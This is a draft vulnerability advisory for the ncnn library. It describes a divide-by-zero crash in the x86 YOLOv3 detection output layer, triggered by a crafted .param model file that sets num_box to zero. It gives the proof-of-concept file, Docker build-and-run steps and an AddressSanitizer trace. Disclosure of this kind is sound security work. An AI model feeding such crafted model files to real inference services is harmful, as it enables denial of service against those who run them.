All advisories
Draft

Divide-By-Zero DoS in YOLOv3 Output

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

Divide-By-Zero DoS in YOLOv3 Output

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/x86/yolov3detectionoutput_x86.cpp:37 in Yolov3DetectionOutput_x86::forward
Sanitizer verdict: FPE on unknown address 0x631df441bdcb (pc 0x631df441bdcb bp 0x7ffe92af9230 sp 0x7ffe92af8760 T0)

Summary

A Yolov3DetectionOutput layer with 1=0 makes the x86 forward implementation divide the input channel count by zero, aborting the process with SIGFPE. num_box is taken verbatim from the attacker-supplied .param file and is used as a divisor before any consistency check on the layer geometry. The PoC drives it with ncnnoptimize poc.param null out.param out.bin 0, whose shape_inference() runs the layer; an inference process running the same model crashes identically.

Detail

Yolov3DetectionOutput::load_param reads parameter id 1 into num_box, defaulting to 5, and applies no lower bound. Yolov3DetectionOutput_x86::forward first sizes a vector with that value and then uses it as the divisor for the channel stride; the guard against a malformed layout is evaluated on the line after the division.

// src/layer/yolov3detectionoutput.cpp:34
    num_box = pd.get(1, 5);

// src/layer/x86/yolov3detectionoutput_x86.cpp:33
        int w = bottom_top_blobs.w;
        int h = bottom_top_blobs.h;
        int channels = bottom_top_blobs.c;
        //printf("%d %d %d\n", w, h, channels);
        const int channels_per_box = channels / num_box;

        // anchor coord + box score + num_class
        if (channels_per_box != 4 + 1 + num_class)
            return -1;

The PoC graph is Input data 0 1 data 0=1 1=1 2=1 feeding Yolov3DetectionOutput yolo 1 1 data out 0=1 1=0, so the incoming blob has channels == 1 and num_box == 0. all_box_bbox_rects.resize(0) at line 30 succeeds silently, and line 37 then evaluates 1 / 0.

The integer division by zero raises SIGFPE inside NetPrivate::do_forward_layer, reached from ModelWriter::shape_inference() at tools/modelwriter.h:435 in the PoC. Because this is the ordinary forward path, the same input crashes a plain Extractor::extract call as well.

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-divide-by-zero-dos-in-yolov3-output && cd ncnn-poc-divide-by-zero-dos-in-yolov3-output

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'PARAM'
7767517
2 2
Input data 0 1 data 0=1 1=1 2=1
Yolov3DetectionOutput yolo 1 1 data out 1=0
PARAM

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0

AddressSanitizer output:

shape_inference
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: FPE on unknown address 0x6028d8916dcb (pc 0x6028d8916dcb bp 0x7ffd92892210 sp 0x7ffd92891740 T0)
    #0 0x6028d8916dcb in ncnn::Yolov3DetectionOutput_x86_avx512::forward(std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/build/src/layer/x86/yolov3detectionoutput_x86_avx512.cpp:37
    #1 0x6028d2f5b70b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:856
    #2 0x6028d2f43b7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
    #3 0x6028d2fa39e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
    #4 0x6028d2e353c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
    #5 0x6028d2eb2eee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #6 0x7e636f4311c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #7 0x7e636f43128a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #8 0x6028d2e32624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /ncnn/build/src/layer/x86/yolov3detectionoutput_x86_avx512.cpp:37 in ncnn::Yolov3DetectionOutput_x86_avx512::forward(std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const
==1==ABORTING

Credit

Zheng Yu @ DepthFirst